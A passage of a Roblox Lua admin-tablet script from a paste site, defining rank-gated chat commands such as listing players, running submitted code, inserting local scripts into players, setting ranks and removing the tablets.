  6678.                 Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  6679.                 Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  6680.                 Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  6681.                 Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  6682.         end)
  6683.         Ping("Players", Speaker, nil, function()
  6684.                 ListPlayers(Speaker)
  6685.         end)
  6686. end)
  6687.  
  6688. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  6689.         ListPlayers(Speaker)
  6690. end)
  6691.  
  6692. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  6693.         local Func,Error = loadstring(Msg)
  6694.         getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  6695.         getfenv(Func).Speaker = Speaker
  6696.         if Error == nil then
  6697.                 coroutine.wrap(function()
  6698.                         Func()
  6699.                 end)()
  6700.                 Ping("Executed Script!", Speaker, 5)
  6701.         else
  6702.                 Ping(Error, Speaker, 10)
  6703.         end
  6704. end)
  6705.  
  6706. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  6707.         if LS ~= nil then
  6708.                 local Split = GetSplit(Msg)
  6709.                 local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  6710.                 local LocalSource = Msg:sub(Split + 1)
  6711.                 if #PlrTab > 0 then
  6712.                         for _,v in pairs(PlrTab) do
  6713.                                 local Inserted = LS:Clone()
  6714.                                 Inserted.Disabled = true
  6715.                                 Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  6716.                                 if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  6717.                                         Inserted:findFirstChild(OwnSource).Value = v.Name
  6718.                                 end
  6719.                                 Inserted[LSSource].Value = LocalSource
  6720.                                 Inserted.Disabled = false
  6721.                         end
  6722.                 end
  6723.         else
  6724.                 Ping("ERROR: Local Script Not Found", Speaker, 5)
  6725.         end
  6726. end)
  6727.  
  6728. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  6729.         Msg = tostring(Msg)
  6730.         Ping(Msg, Speaker)
  6731. end)
  6732.  
  6733. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  6734.         Dismiss(Speaker)
  6735.         for i,v in pairs(getfenv(1)) do
  6736.                 ypcall(function()
  6737.                         Ping(tostring(i)..": "..tostring(v), Speaker)
  6738.                 end)
  6739.         end
  6740. end)
  6741.  
  6742. Command('Ranks', 0, 'Shows all players in ranking table',
  6743. function(Msg,Speaker)
  6744. for _,v in pairs(Rankings) do
  6745. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  6746. end
  6747. end)
  6748.  
  6749.  
  6750. Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
  6751.         local Split = GetSplit(Msg)
  6752.         local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  6753.         local Rank = tonumber(Msg:sub(Split + 1))
  6754.         if #PlrTab > 0 then
  6755.                 for _,v in pairs(PlrTab) do
  6756.                         if v.Name ~= Owner then
  6757.                                 ChangeRank(v, Rank)
  6758.                                 Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  6759.                         end
  6760.                 end
  6761.         end
  6762. end)
  6763.  
  6764. Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
  6765.         Dismiss()
  6766.         Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
  6767.                 Dismiss()
  6768.         Removed = true
  6769.         for i,v in pairs(getfenv(1)) do
  6770.                 getfenv(1)[i] = nil
  6771.         end
  6772.         script.Disabled = true
  6773.         end)
  6774. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement